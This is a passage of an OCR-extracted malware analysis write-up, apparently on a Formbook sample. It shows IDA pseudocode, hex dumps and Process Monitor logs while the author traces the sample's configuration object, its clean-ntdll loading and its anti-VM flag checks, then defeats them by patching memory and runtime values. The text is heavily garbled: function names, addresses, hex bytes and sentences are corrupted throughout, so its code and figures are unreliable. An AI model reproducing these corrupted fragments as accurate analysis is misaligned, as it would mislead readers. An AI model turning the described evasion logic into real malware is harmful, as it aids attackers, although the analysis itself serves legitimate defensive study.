23 return @; 90 00 B0 00 B2 0D 00 0O 00 0@ 00 0@ 0D 6O 0D 09
24| =(_BYTE *)(al + 57) = sub SEB9E3() > 768; 90 00 00 00 B2 0D 00 OO 00 0@ 00 00 0D 0O 00 88
25| sub SEBCA3(al); 82 00 00 G0 B3 0D PO 0B 00 0B 00 6P 00 00 00 B8
sub_5EB633(al); 90 GG B0 0O G2 0D 00 06 00 0O 00 90 00 6O 00 6
27| sub_5EBBI3(al); 90 90 80 00 B9 0P @0 0P 00 0@ 00 ©A 00 6O 00 09
28| sub_5EB7B3(al); 90 00 B0 00 B2 0D 00 0O 00 0@ 00 0@ 0D 6O 0D 09
23| return sub 5£9433(al); 90 00 00 00 B2 0D 00 OO 00 0@ 00 00 0D 0O 00 88
EC]H 82 00 00 G0 B3 0D PO 0B 00 0B 00 6P 00 00 00 B8
90 GG B0 0O G2 0D 00 06 00 0O 00 90 00 6O 00 6

0000BE77 sub_SEBEE3:8 (EEBE77) UNENOWN O10FECRO: Stack[O000LE04]:010FECAO (Synchronized with ESI) W

< 2| < 2>

e The first function, saves lots of encrypted strings or hash codes. The purpose of these will be
cleared later on in the execution

e Nextto FF values, the base address of executing malware is saved

e On the third line another address is stored which is actually the address of LdrLoadDIl function
from ntdll. This will be used to laod further libraries

Pseudocode-A pseudocode-B (2] Hex view-1
lichar _ cd sub_SEBEG3(int al) Malware —— C_OF @1 A4 EC GF O1 0@ 00 @0 00 BC GA 00 90
2 20 @0 80 00 00 0O €0 68
3| int vz // Base Address 80 B0 0B 96 6O 6O B0 0B 0O 00 09 0O 06 8O G0 00
4| dnt v /7 @0 B8 0B B0 B8 88 F@ DD 65 77 p
5| int vas 80
7| *(_DHORD *)al = -1; /4 Initializing configuration object with FFFFFFFF value
8| =( DHORD *)(al + 2@) = sub SFCF13(al); // Push encrypted strings or hashcodes onto conf obj. Also saves nt
3| vi= sub SFCDE3(al);
10| *(_DHORD *)(al + 8) = vi;
1Lfif (B ) 49 D5 D3 42 99 43 @F EC B8 82 3C 75 53 D7 @A D2 .
12 e LdrLoad DIl FE F5 4B 78 7A D6 31 DD A6 56 71 C3 91 BC 26 £4 bu»{xﬁo ¥ivght.&a
13 = sub _SEB9E3() > 768; @8 96 55 88 A6 CC 8B 9@ B8 2E FE 8C 84 91 22 38 .-e :I< L-pE, ">
115); 26 6C 7A 49 @1 96 B8 75 B8F 75 DE 6D 98 EC AC E1 -1 i-3

( sub_SFFOF3(v3) ) 9A 21 BA 77 BE C2 77 7E B9 EE F2 F5 FB BF 46 23 Xl ewkiwet

B 21 4F 83 6C A9 3F 29 39 F8 20 6C 99 9A 68 FF 36 0. 1@>)9¢ 1'"shya
17 }(al + 188) "= *(_DWORD *)(al + 4); Encrypted @5 24 BF 97 3B 82 BF 2E A@ 14 F2 C1 16 D8 @3 C6 .3 A0

18 )=l +55) = 1; Yp FF 3F B7 C6 EF 5F 97 EA 16 F6 F1 91 12 5F 86 EE

1l } _ strings & /| A2 02 04 £7 €1 €3 23 BS 06 5A 17 B9 42 7F BB A8 .Z.%B..
2? = fub,S_FFG?3(<'\—Ji ) 29 81 83 D1 8E 97 A3 39 78 GA 92 61 9C AB 9D AE )..HZ-£9pj’ac .©
21 *(_DWORD *)(al + 12) = v4; hashes 18 D4 BB 92 5E 86 71 28 DB 42 2A 98 B9 8@ 85 CE .0°’~tq(UB*"*e.l
22| if ( va) 8B D2 51 97 E9 @8 76 (1 EA 2A E4 FE F@ EC BC 28 lDQ*E vAE* abﬂll(
23 F‘Etutn a; C2 F4 28 54 78 56 67 82 74 3B 71 FC 26 81 AE AA

24 *(_BYTE *)(al + 57) = sub_SEBOE3() > 763; E1 12 AC EA 1F €@ A3 3@ BE BA 18 C4 A7 7E 29 8D

25| sub_SEBCA3(=1); DG 31 A 49 F2 1B 57 1F 6E 38 AF EF 95 B2 45 aC

26| sub_5EB633(zl); 1A B6 B0 43 (9 42 C3 E8 5@ 43 95 F2 CF 3E 8C 8@

27| sub_SEB893(al); D4 E2 @6 EB 28 7D 9C 2C 22 7F E4 49 3E 48 FF 7E

28| sub_SEB7@3(al); 55 53 EC @1 82 DB 44 (D 7A 97 27 D1 04 1F 4E 4E

%9 return sub_SE9433(al); E3 35 47 @B A9 @8 88 CE AC 14 C3 9B A6 1D 1A 50

EL F5 68 DB @ AL 9F A4 SF 1A 1D E6 51 74 9@ 78 5D GhDA{VH . a:Qt p]

98 96 17 B8 6F AD 1F 3C 43 D7 17 A8 (O 28 4F DD »>-. 0.<CX. A-OY

E€3:5 (5EBEE3) UNKNOWN 010FECA0: Stack[00001E04]:0L0FECAD (Synchronized with E5I) v
< >|| < >

e |stepped over each function and monitored changes in memory side by side.
e Every function is contributing to the conf obj.



e The functionin the screenshotbelow is loading a clean ntdll in the memory and saves it address
on the conf obj

e Also, it is setting value in anti-vm flags that starts from the 45th element of the conf obj.

e The address of injected ntdll in memory starts on 0x1950000 and similarly in the 4 bytes after
24th element we have the address of injected ntdll saved.

e The flag value of 1is also set in anti-vm flags.

Library function Il Regular functon [l Instruction 1 Data Il Unexplored 1 External symbol Il Lumina function -
Debug View o & Structures ] Erums F t Event Filte " He
15} 1DA wewElP Paetxdocode A, Hex View-1 a =T =
= e BERINRETYAO|&IF L N EE
(=) Pseudocode & 0 & x| rexvent o6 x
— — _— Tie . pGmossall o0 2ah,
2 () . 1161, Faumpexe
2k , unhooked o 353l >
of int w33 17 ntdll 00 00 00 00 1| Edean
tva; /) 00 00 00 00 .. o exe
BA 48 71 3¢ 1161, | % dump exe : 4
“( Yol = -1; BS 63 06 3 1161, | Wemp exe 1056 s GueryNamelnfo,_C-\Windows\SysWOWES il
«(COORD *)(s1 + 20 = sub_SFCF13((_DWORD *)s1); 48 12 28 34 1161 ® dump exe 1056 o CloseFie C\Windows\SysWOWE4\rtd 41
- sub_SFCDE3(31); 0 3€ 9E ED D3 32 D1 Al
(0 )i + 8) 8 82 3C 75 53 D7 0A D2
(11 ) ¥ A 6 56 71 C3 81 €C 26 €4 bd i
return @; 88 2¢ FE BC 84 91 22 3¢ <
*(_BYTE *)(al + 56) = sub_SEB9E3() > 763; 20 6C 7A 49 01 96 B3 75§ 5% 75 DE 60 99 EC AC E1 +lzI.-.u 1
= sub_5F9543(al, 115); F =
if ( sub_SFFOFI(v7) ) Checks some conditions and mske changes in anti-vm bytes § 21| (52 dump.exe (1056) Progfrties - o
{ es
= Y [ioreos FEl Generol Sttates perfmence Theads Toien Moddes Menoy Enwanment Handes G Comment
% 3 29
« sub_SFFEI3(a1); Loads clean ntdll in memory and saves its address onto conf k 18| [Arde feeregons svigs... Refresh
21| = DMORDTFY (81 ¥ A2) o Also set anti-vm flag on 4th element to 1 F 88
RN 228 = o g puoreoee asl| T ——f— P ] T batane]
return 0; £ 1] | oxfdaonon image: Commit 88 R Co\indons\System3Ziponéa. & 58 88
* )(a1 +57) = sub_SEBIE3() > 768; } 08| | ouid150ao00 tmage: Commit W R ancoms System32ypons i di s a8
sub_SEBCA3(a1); ) 1Al | oxrfid1sasenno Image: Commit a8 mw C:\indons\System3Zondl. & sis a8
:::-zf::& )i eis 28 | oxrtedssassoco Image: Commit E R Co\indons\System32ndl & 5i8 518
Sobosere(or); IB20EE2 33 | peirsoon rvote: Commt 128 RWAG  Stack (bresd 284
return sub_SES433(a1); - Ox10/000 Private: Commit BKB RWAG  Stack 32:it (tread 7684)
) . R 01225000 Private: Commit 1246 RWAG  Stack (tvesd 3080)
e Tew.Choon 1y bep ] | oxtsfeoco Frivate: Commit BKB RW4G  Stack 32:it(tresd 3060
- — 0 8 R e 32:5 (tread 3060)
% Refresh () Options | 8 Find handies or DLLs 5+ System information 3 X dd | oxse1000 Smoge: Commit B4i8_RWX
HeE PN GRS e Processes Serices Network Dek )
e o DT JCPUTIU0 Rz ] IPRARERE| D] | 0X76620000 Image: Commit 048 RX 2
Ji s i MR POASSES | Hdcnats s () Inage: Conmit 202818 RX =
(B stock view | dumpexe 1056 Wigwe ) DEsKTop-0aaHoNERee | | 7701000 Image: Comait 268 RY 4
Ox77607000 Image: Commit 48 RX 4
tac 8411 010FECH
rxpﬂm SIRFECHSSE RIooosIEMTie1 cAi‘ Six00 e ot RO s
0713991000 Image: Commit 2808 RX &
Ox7M 15041000 Image: Commit 7548 RX s
4 0x717415931000 Image: Commit 1,136k RX 1L1%
Ox7654000 tmage: Commit 48 e 4
0715000000 Image: Commit 126 we Ci\pndons\Systen32iwonsvn.di sie sl 4
07 15857000 Image: Commit 858 wic Co\indons\Systen2intdl sl s 4

e Continuing with the execution.

e It checks other anti-vm checks

e Like taking snapshot of running processes and filtering out if any of those processes are listed by
the malware

e Inthe screenshot, we can see that it detected procmon in running processes

Address Length Result

Oxdfe744 54 Windows\SysWows4\ntdl.di

Oxdfebon 53 C:Windows'Syswowegntdll. dl

Ox 10fes0a 11 Procmon, exe

0w 10feg4c 22 svchost.exe

Ox10feb54 11 Procmon. exe

Ox10feee3 10 L3l h

Ox1110b3c a0 C:'\Program Files\IDA Pro 7.5 5P3Yda.exe

e Afterperformingsome of the anti-vm checks, it updated the flags on anti-analysis bytes as shown
in screenshot below:



IDA View-EIP Pseudocode-A, Hex View-1
Pseudocode-A Anti. O 8 X & Hex View-1
. cae FF FF FF E3 1D 5E @8 0@ @0 4F Ol @1 00 90 00 yyyya"
AnaIySIS \ 8@ 82 61 77 E3 1D (B @1 0@ @2 95 @1 @@ 48 AF 01
81 B2 8@ 66 B2 78 68 77 FB DD 65 77 @8 __B 88 81
Flags o686 60 61 60 b1 61 62]ew 66 06 6o 0 60 0O 6 .
20 90 00 00 00 00 B2 00 00 00 00 00 00 BB BB . .
63 @5 38 63 ©1 67 54 @6 26 8D F9 BA 4B 71 34 pc.S:‘gT.&‘ Kqa
// Initializing configuration obj with FFFFFFFF values 20 75 58 77 ©B 27 B1 33 7@ 9F (B 7D 63 @6 3B .- uXw. ‘thVE)c.;
)(al + 29) sub_SFCF13((_| al);// Pushes encrypted strings or hash codes onto conf obj F3 CA 53 F7 71 E9 73 12 DB A9 ES 4B 12 BD 3B _d 0
Suh EF[DEE( ) 1 puﬁhes address of ntdll onto conf Dhj F7 E7 @4 3B 2E (@ E2 8D 3E 9E ED D3 32 D1 Al
DWORD )(a,+3)= 13 DS D3 42 99 43 @F EC B3 82 3C 75 53 D7 BA D2
1f(!,) F5 4B 78 7A D6 31 DD A6 56 71 (3 91 @C 26 E4
return @; 96 65 B3 A6 CC 8B 9@ B3 2E FE B8C 84 91 22 3E
*(_BYTE *)(al + 56) = sub_SEBY9E3() > 768; 6C 7A 49 @1 96 B8 75 BF 75 DE 6D 9@ EC AC E1 1$1 — uoubm.d-4
3 = sub_SF95A3( 115); 21 BA 77 BE €2 77 7E B9 EE F2 F5 FB 8F 46 23 5‘°IVK}'5\\\’~‘1E
if ( sub_SFFIF3(v3) ) // Checks some cenditiens and make changes in anti-vm bytes 4F @3 6C A9 3F 29 39 F3 2@ 6C 99 9A 63 FF 36
24 BF 97 3B 82 BF 2E AB 14 F2 (1 1@ D3 @83 (6
] )(5, + 4); 3F B7 (6 EF 5F 97 EA 16 F6 F1 91 12 5F 8@ EE
D2 D4 E7 E1 C3 23 BS @6 5A 17 B9 42 7F BB A3 .
@1 @3 D1 8E 97 A3 39 39 GA 92 61 9C A@ 9D AE iZ—EQQj'Em .
4 = sub_SFF633(al); D4 B@ 92 5E 86 71 28 DB 42 2A 98 B9 80 35 CE O°"‘*q(UB* e
*(_DWORD *)(al + 12) = v4; // Loads clean ntdll and injects it in memory. Also saves its g D2 51 97 E9 08 76 C1 EA 2A E4 FE F8 EC 6C 28 <DQ-¢.vA&*apdil(
if ( lva ) F4 28 54 7@ 56 67 @2 74 3B 71 FC 26 81 AE AA Au(TpVg t;qui. 82
return 8; 12 AC EA 1F (@ A3 38 BE BA 18 C4 A7 7E 29 8D &.-~&.AF@Xe g )
*(_BYTE *)(al + 57) = sub_5SEB9E3() > 768; 31 A@ 49 F2 1B 57 1F 6E 38 AF EF 95 B2 45 6C 91 Td.W.n8 .
sub_SEBCA3(al); B6 8@ 43 (9 42 (3 E8 50 43 95 F2 CF 3E 8C 8@ "J‘ECE’EAEPC-DIXK
sub_SEB633(al); // Checks running processes and make decisions on flags E2 96 EB 28 7D 9C 2C 22 7F E4 49 3E 48 FF 7€ 04.&(}e
sub_SEB893(al); 53 EC @1 82 D3 44 (D 7A 97 27 D1 84 1F 4E 4E USi.,0D:
sub, EEB7BE(3 ), 35 47 @B A9 B8 88 CE AC 14 (3 98B A6 1D 1A 58 35G.8.°
return sub_SE9433(-1); // Checks anti-wvm flags and returns either @ or 1 68 D@ B Al 9F A4 5F 1A 1D E6 51 74 98 78 5D 3hDA;¥m_.
96 17 B8 6F AD 1F 3C 43 D7 17 AB (@ 28 4F DD »>-. 0.<(X.
55 DF E7 4C 91 €3 51 9@ 42 FE 95 1E 938 89 DB UUKcL‘E\Q.Bb-.
29 B@ 91 68 31 CA 21 7@ 25 27 64 66 CE F@ 7E E)‘"hlé!p%‘dffﬁw
0000BESB sub_SEBEE3:23 (SEBEBE) UNENOWN 0l0FECAOQ: Stack[00001E04]:0L0FECAD (Synchronized with ESI) v
< (| <€ >
e The last function is matching the anti-vm flags with the sequence it requires to progress.
. . .
e Ascanbe seeninthe screenshot, my sequence doesn't match to what it should be,
e It means the malware has either detected the debugger or tools like procmon or some other
parameter
e Therefore, the program exits.

Pseudocode-A

O & x| [0 Hexview1

(_BYTE

al)

cre FF FF FF

CBe 90 00 61 77

/7@ 01 60 00 8o
/1 @0 08 01 80
/11 @0 6@ 60 @0
/e 78 63 85 38
/e 8D 20 75 58
e SF F3 CA 53
/1 @ E® F7 E7 04
/71 49 D5 D3 42
/7@ FE F5 48 78
/1 @8 96 65 88
/1 @ -Correct sequence of anti-vm flags 28 6C 7A 49
9A 21 BA 77

21 4F @3 6C

24 BF 97

3F B7 C6

D2 D4 E7

o1 93 D1

D4 B8 92

D2 51 97

F4 28 54

12 AC EA

21 am aq

E3
E3
(1)

ph)
10
70
L8
]
81
o8
71
2E
43
D&
cc
96
c2
3F
82
5F
3
97
86
88
S6
e
1n

5E
cB
68

o8
el
77

aF
95
65
20
88
8D
9F
A9
9E
3c
71
FE
DE
F2
6C
F2
F1
17
92
24
E4
71
18
o

e1
el
77
88
]
Fg
c8
ES
ED
75
3
8C
6D
F5
99
1
91
B9
61
98
FE
FC
ca
EE

alL
ee
(-]
ea
%]
BA
70
45
D3
53
a1
B4
9@
FB
ET
10
12
4z
ac
B9
F@
26
A7
as

o8
40
o8
28
-]
48
63
12
32
D7
ec
91
EC
8F
68
D8
5F
7F
A
88
EC
81
7E
Xl

]
Fo

ee
oo
ee
%]
26
7@
DB
3E
82
56
2E
75
EE
20
14
F6
SA
BA
42
24
38
BA
2r

]
63
77
F7
3B
99
TA
AB
81
BE
A9
3B
EF
El
B8E
S5E
E9
7@
1F
E2

%]
67
27
E9
ca
aF
31
3
B3
77
29
BF
a7
23
A3
71
76
67
A3
=7

]
54
B1
73
E2
EC
DD
98
75
7E
39
2E
EA
B5
39
28
a

-]
86
33
12
8D
B8

puKmOl\r VqA &5
== ‘Il IJE,,“'
e e
HE® CWS LN
10.107)9¢ - 1"Ehy6
-5 ¢ 0.£
L€

B8
8F
B9
F8
A
16
o6
39
DB
EA
71
BE
aE

22
AC
26
FF
@3
80
B8
a0
85
6C
AE
29
a5

)..fi7—£99j’ae .©
0°2~tq(UB*~te.1
B vAe*apail(
A3(Tpvg.t;quk.52
&.-&.AfBKe AG~) .
A1 TA W nRTTe2F

3e
1E

So, in take # 2 of defeating anti-reverse engineering or anti-vm techniques, | simply patched the

°
sequence of these flags in the memory to the required sequence.

e Patching memory, and moving onto the execution should work, because these flags are being
used somewhere ahead in the program. So, simply changing the conditional jump would always
crash the program.

¢ However, in case of memory patch, these values would be continued in the program and this issue
should be fixed.

CCe @1 @@ @@ @0 B9 70 6@ 77 F@ DD 65 77 8@ @@ @l @l
CDE @@ @2 @1 @@ @1 @2 @1 B0 ©° B9 00 09 DO B0 88 0a

e Patched the memory and now it goes back to the condition which is true

e However, somethingis wrong here.

e Because the names of the dll being searched is very weird.



e Now | understand, that these sequences of bytes are being used in a decryption algorithm to
decrypt the names of libraries and APIs.

e Butsince | patchedthe bytesin memory, it should have been able to decryptaccurately which it
is not. That meansthatthe sequence is used somewhere else before performing the anti-analysis

Pseudocode-A PseudocodeB PseudocodeC [x] [©] Hex View-1
lichar _cdecl sub SEBF13(int al) Co EC oF @1 EB F2 OF @1 CC EC OF @1 78 FB OF 81 Ai..

AP EC @F @1 @@ F@ F6 @@ 88 EC @F @1 3@ BF 5E @@
AP EC ©F @1 E© 12 5E @@ 6@ F7 ©F @1 15 FD 5F ee
AP EC @F B1 A4 EC BF @1 00 02 20 88 BC BA 00 88
[§3 FF FF FF E3 1D SE 88 88 @@ 4F 81 B1 B8 @0 B8
90 8@ 61 77 E3 1D CB @1 ©@ 0@ 95 1 8@ 48 AF @1 ..awd.E...
91 @2 00 02 00 70 60 77 F@ DD 65 77 @@ @@ @1 01 ..... p’ WY
20 @2 o1 oo ol 01 @2 ©0 0D 92 00 00 0O @2 o0 .... .
00 00 00 00 OO 00 0O 00 0O 00 00 00 0D 00 00 0B ....

char result; // al

e

sub_SEBEG3(al);
1t )

3
3| sub SEBE@3(al); N
sub_SEFF@3(:1, 56);

1o result = 15 70 63 @5 38 63 @1 67 54 ©6 26 8D F9 BA 4B 71 34 pc.8 .
- } . 8D 28 75 58 77 @B 27 B1 33 78 9F (8 7D 63 86 3B . -uXw. ‘tipvé
12| return result;
13} BF Process Monitor - Sysinternals: www.sysinternals.com
File Edit Event Filter Tools Options Help
r= e
B ‘h15@|v|ﬁ%|ﬁp ‘&“Qﬁﬁﬁ
Time ... Process Name PID Operation Paih Resul Detail
2254, W dump.exe 1056 % CreateFie C:\Users\shaddy\Desktop\n'wkji2\9UskLDLL PATHNOT FOUND  Desired Access: R...
2254, W dumpexe 1056 ¥ Createfile C\Windows\SysWOWE4\n whjiZ\SUskL.DLL PATHNOT FOUND  Desired Access: R...
2254 W dump exe 1056 s CreateFile C:\Windows'system'n‘wkji2x3Usk1 DLL FATHNOT FOUND  Desired Access: R
2254, W dump.exe 1056 s CreateFile C:\Windows'n'whjiZ\3Uskl. DLL PATHNOT FOUND  Desired Access: R
2254 W dump exe 1056 s CreateFie C:\Users\shaddy\Desktop\n'wkji2\9UskLOLL PATHNOT FOUND  Desired Access: R
2254, W dump.exe 1056 e CreateFie C:\ProgramData’\chocolatey \bin'\n wkji2\GUskL.DLL PATHNOT FOUND  Desired Access: R...
2254, W dumpexe 1056 ¥ Createfile C:\Python310\Scrpts\n'wkji2\SUskl.DLL PATHNOT FOUND  Desired Access: R...
2254 W dump exe 1056 s CreateFile C:\Python 310wl 24SUskl DLL FATHNOT FOUND  Desired Access: R
2254, W dump.exe 1056 s CreateFile C:\Program Fles B6)\Common Fles'\Oracle\Java\javapathin'wkji2\9Usk1 DLL REPARSE Desired Access: R
2254 W dump exe 1056 s CreateFie C:\Program Fles B6)\Common Fles\Oracle\Java\javapath_target_268984\n'wkj2\9UskIDLL ~ PATH NOT FOUND  Desired Access: R
2254, W dump.exe 1056 e CreateFie C:\ProgramData’\Boxstarerin wkji2\gUskl. DLL PATHNOT FOUND  Desired Access: R...
2254,  dumpexe 1056 % CreateFile C\Windows)SysWOWE4\n whjiZ\SUskL.DLL PATHNOT FOUND  Desired Access: R...
2254.. W dump.exe 1056 Createfile C:\Windows'n wki2SUskl. DLL PATHNOT FOUND  Desired Access: R...
2254, W dump.exe 1056 s CreateFile C:\Windows'SysWOWE\Wibem\n'wijiZ\SUskLDLL FATHNOT FOUND  Desired Access: R
2754, W dump.exe 1056 s CreateFie C:\Windows\SysWOWB4\VindowsPowerShell\w 1 T wkj2\9Uski DLL PATHNOT FOUND  Desrred Access: R
0000BFLS sup sEEEL3s (5| 2254 T dumpexs 1056 s CreateFie C:\Windows\SysWOWE4\OpenSSHn wkji2\SUsk1DLL PATHNOT FOUND  Desired Access: R
= ~{ 2:25:4.. W dump.exe 1056 % CreateFile C:\ProgramData'chocolatey bin'n wkjiZ\GUsk .DLL PATHNOT FOUND  Desired Access: R...
3] stadk view 2254..  dump.exe 1056 ¥ Createfile C:\Program Files\010 Editor'n wi2\SUsk1.DLL PATHNOT FOUND  Desired Access: R...
1754 Wdumpee 1056 s CreateFile C:\Program Files'OpenJDK'jdk-21.0.1'bin'n ‘whjiZ\8Usk. DLL FATHNOT FOUND  Desired Access: R
YIOFECBE  B1OFECAD  Stack[900 5054 m. dumpexs 1056 s CreateFile C:\Users\shaddy'\AppDataLocal\Microsoft Windows Apps \n'wkjiZ\3Uski. DLL PATH NOT FOUND  Desired Accass: Rt
! Q0SE12EQ start 12254 W dumpexs 1056 s CreateFis C:\Tools\Crmder\n wkji2\3Uskl.DLL PATHNOT FOUND  Desired Accsss: R

e | let the malware continue and again it crashed, because it was not able to decrypt its
configuration and hence looking for encrypted dll names.

e So that means, | might be missing some important function and because it is detecting the
debugger, it would be skipping some important function.

d
I b

ﬂ Warning

0: The instruction at 0x0 referenced memory at 0x0. The memory could not be executed -> 00000000 (exc.code cODDDO0S, tid 7684)

! ..\

[] por't display this message again (for this session only)

=

E.wAETE
S(TpVe.t;ql

T

@lBFEDFE@ (2 F4 28 54 7@ 56 67 @2 74 3B 71 FC 26 81 AE AA

TAKE # 3: PASSED

¢ In third take, | have debugged a lot of the code and finally, found the function over which the
program was skipping because of a single flag condition not being met.

e So,lchangedthe values of condition to allow it to execute as well as changed the value of register
that was being pushed to the conf obj.

¢ Inmyenvironment, there were always 3flags that were changed. The value on the third element
was 0 however it should be 1, and the two elements at 11,12th position.



e lalso know that those two were changed because of procmon and other such analysis tools. So,
it is easier to just change the name of procmon and continue.

e Instead of applying memory patches, | have changed the values at run-time before they were
pushed onto the memory stack and voila, the malware executed perfectly without any
exceptions.

Debug View I Structures 5 Enums
0 & x| (3 Hexview-1 o8 x
text:085FFEES mov  eax, [ebprvar_4] B@ F9 33 01 D8 EA 33 @1 0@ 98 BC B1 FF FF FF FF °3.083.....7377 ~
. text:005FFEEE add esp, 20h B@ EA 33 @1 C6 BE SE @9 DS EA 33 @1 DS EA 33 @1 °83.4%".083.083.
. text:005FFEEE cmp cax, [esi] €@ EA 33 1 20 BF SE @9 DS EA 33 @1 £G 12 58 @B Ae3.-;0.083.3.%.

98 F5 33 B1 15 FD 5F @@ D8 EA 33 @1 DC EA 33 @1
©0 60 00 B8 BC @A 00 @0 [ FF FF FF E3 1D SE @8
©0 90 SA ©1 00 @0 B2 @0 00 @9 61 77 E3 1D FE @l
©0 00 AR ©1 00 40 BA @1 0Ol 00 0@ o0 o2 70 6@ 7V
F@ DD 65 77 02 00 02 @1 00 00 00 20 00 00 00 @0
©0 90 00 DO 02 00 00 @0 00 PO ©Q OO0 00 @0 00 00
©0 90 90 DO O@ @0 00 @@ 7@ 63 ©5 38 63 @1 67 54
©6 26 8D F9 BA 4B 71 34 8D 2@ 75 58 77 @B 27 B1
33 70 9F (8 85 63 @6 3B 68 F3 CA 53 F7 71 E9 73
12 DB A9 ES 4B 12 28 3A E@ F7 E7 @4 3B 2E (@ E2
8D 3E 9E ED D3 32 D1 A1 49 DS D3 42 99 43 BF EC
B8 82 3C 75 53 D7 @A D2 FE F5 4B 78 7A D6 31 DD
A6 56 71 C3 91 @C 26 E4 B3 96 65 83 A6 CC 8B 98

.text:@@5FFEBD setnz bl
. text:@@5FFECO test bl, bl

FEIE

.text:@0SFF6CA lea ecx, [esi+643h]
.text:@05FFECA push ]
. text:@05FFECC push 8CX

. text:@B5FFED2 add esp, 8

B8 2E FE 8C 84 91 22 3E 20 6C 7A 49 81 96 BE 75 > -.u
BF 75 DE oD 9@ EC AC E1 9A 21 BA 77 BE C2 77 7E 1-45 ! 2wkhue
B9 EE F2 F5 FB 8F 46 23 21 4F @3 6C A9 3F 29 39

F#10.102)9
8- 1™5hy6. 54— ,¢ -
.5A.0.4

. text:985FFEDS
.text:@85FFEDS loc SFFEDS:
.text:BB5FFEDS add [esi+2Eh], bl
.text:@BSFFEDE push  edi
.text:@@5FFEDY push  esi
.text:@@5FFEDA call  sub_6@@1E3

F8 20 6C 99 OA 68 FF 36 @5 24 BF 97 3B 82 BF 2E
A@ 14 F2 C1 1@ DB @3 C6 FF 3F B7 C6 EF 5F 97 EA
16 F6 F1 91 12 S5F 8@ EE AA D2 D4 E7 E1 C3 23 B5
©6 SA 17 B9 42 7F BE A8 29 @1 @3 D1 BE 97 A3 39
78 6A 92 61 9C AP 9D AE 18 D4 B@ 92 SE 86 71 28

!2) DODLFEEC Q0SFFEEC: sub SFFE33+BS (Synchronized with EIR) UNENOWN 0133EADS: Stack[000011D8]:0133EADS (Synchronized with ESI) v

O & x| |58 Modues O & x| [& Threads

¢ Now this time, | stepped over the function that loads libraries and instead of encrypted names,
the full names of libraries have been seen and successfully loaded as can be seen in procmon.

e lletthe program continue without any otherinteraction and the debugger exited with status code
0, which means now there is no exception.

e However, it still hasn’t performed all the functionality which indicates there are more anti-
analysis techniques ahead.

H & 3w @0 cheder ot X » O O el Windons debugger hallcs i
| e 1 ] Il | 1 A 1 {1111 1 11 T o IR -

n [l Instruction | Data [ Unexplored | External symbol [l Lumina function

debug View B @& Structures 12 Enums
PseudocodeA B Hex View-1 O & x| B Generd regiters
5 EEFIE TaIr  SUp_SEEE =
. text:@@SEBF20 add esp, 4 0 00 00 00 BC OA 00 00 FF FF FF E3 1D SE 00 --YYYYE-S. A | |Eax 76970000 . advapidl.dll
.text:0@sEBF23 test  al, al O e o o EBX 01609000 Y TIE[20621105
-text:0@SEBF25 jnz  short loc_SEBF2A .
Z = Fo DD 65 77 60 @0 @1 61 0B 08 O1 00 O1 00 1 60 [FEsTEEi® (O
60 6B 60 6O 6O G0 G0 B0 0O 0O 0O 0O 0D 0O 0D 0D EDX@133£888 b Stack[ 1
v 60 00 60 60 60 60 G0 B0 70 63 05 38 63 61 67 54 ESI B133EADS % it
FEZE M @6 26 8D F9 BA 48 71 34 8D 20 75 58 77 98 27 Bl DI @133F380 & "
_text:0BSEBF27 pop  esi| |.text:@OSEBF2A 33 78 9F (8 7D 63 @6 38 SF F3 CA 53 F7 71 £9 73 e eieEErEn oy a
.text:@OSEBF28 pop  ebp| |.text:0@SEBF2A loc_SEBF2A: 12 DB A9 ES 48 12 88 38 EO F7 E7 04 38 2E (0 E2 P, .
.text:@85EBF29 retn .text:BBSEBF2A push 8D 3E 9E ED D3 32 D1 Al 49 D5 D3 42 99 43 @F EC ESP hd
.text:085EBF28 call  sub_SEBEG3 B8 82 3C 75 53 D7 @A D2 FE F5 48 78 7A D6 31 DD EIP BOSEBF38 % sub_SEBF13+1D
.text:Q@5EBF30 push 38h ; '8’ a1 A6 56 71 C3 91 @C 26 EA 08 96 65 88 A6 CC 88 98 |vgh .8a.-e I« EFL 00000200
.text:@@5EBF32 push  esi
_text:@@SEBF33 call  sub SEFFG3 I Process Monitor - Sysinternals: wwiw.sysintemals.com
.text:@@5EBF38 add ), @ch
torti0oetaras ov = File Edit Event Filter Tools Options Help
.text:@e5EBF3D pop  esi

LDRIIVEOG & # £/ B a2l

-text:085EBF3E pop ebp
-text:085EBF3F rets

e SuhESEBFB endp Process Name PID Operation Path Resuk Detal
- text:BOSEBF3F W dump.exe 2080 Ploadimage  C:\Windows\SysWOWE4 advapi3zdi SUCCESS Image Base: (:769.
ump.exe 2060 % QueryNamelnfo...C:\Windows\SysWOW6< advapi32.di SUCCESS Name: \Windows:
ump.exe 2060 o CreateFie C:\Windows\5 B advapi32di SUCCESS Desied Access: G.
ump.exe 2060 <2load Image  C:\Windows\5ysWOWB msvert dl SUCCESS Image Base: [x76c
ump exe 2060 % QueryNamelnfo...C:\Windows\SysWOWB4 msvert dl SUCCESS Name: \Windows'
0000BF30 D0SEEF30: sub_SEEFIS+LD (Synchromized with EIE) ump.exe 2080 CreateFile C:\Windows\SysWOWB4\msvert dl SUCCESS Desired Access: G.
ump.exe 2060 <2 Thread Create: SUCCESS Thread ID: 3312
O & x| |5 Medues ump.exe 2060 Zloadlmage  C:\Windows\SysWOW64\sechost il SUCCESS Image Base: (x767.
~ = ump.exe 2060 s QueryNamelnfo...C:\Wiindows' SysWOW64\sechost dl SUCCESS Name: \Windows..
Path 5 ump.exe 2060 s CreateFile C:Wiindows\SysWOW64\sechost dil SUCCESS Desired Access: G.
(58] c\usersighack ump.exe 2080 ¢Ploadimage  C:\Windows\.SysWOWES rpertd di SUCCESS Image Base: (x757.
[ C:\Windows'Sy iump.exe 2060 T QueryNamelnfo....C:\Windows\SysWOWE4\mpertd dil SUCCESS Name: \Windows
58 C:\indowsisy 5:180... T dumpexe 2060 s CreateFile C:\Windows\ Sys WOWES vportd i SUCCESS Desied Access: G.

[ C:\Windons'sy

=



Output window

77645948
73700000
776455946
755608006 :
F72086006:
7a7Baeaa:
7adDaeaa:
77458000
7a7Eee88:
7oB28000;
Debugger:
Debugger:
Debugger:

thread
loaded
thread
loaded
loaded
loaded
loaded
loaded
loaded
loaded
thread
thread

has started (tid=3172)

C:

\Windows\SysWOWE4\RPCRT4. d11

has started (tid=4144)

C:
Cr\Windows\Syskile4 \win32u. 411
C:\Windows \ SysWOWe4\GDI32. d11
C:
C
C

WindowsSysWoke4\user32.d11

‘Windows\SysWoWed\gdiz2full.d1l

D \Windows\SysWoWe4 \msvep_win.dll
D\Windows\SysWoWed\ucrtbase.dll
C:

\Windows\SysWOWE4\IMM32. DLL

4144 has exited (code @)
3172 has exited (code 8)
process has exited (exit code 8)

| found a very good resource, that explains all the flags that previous formbook version looked for in its
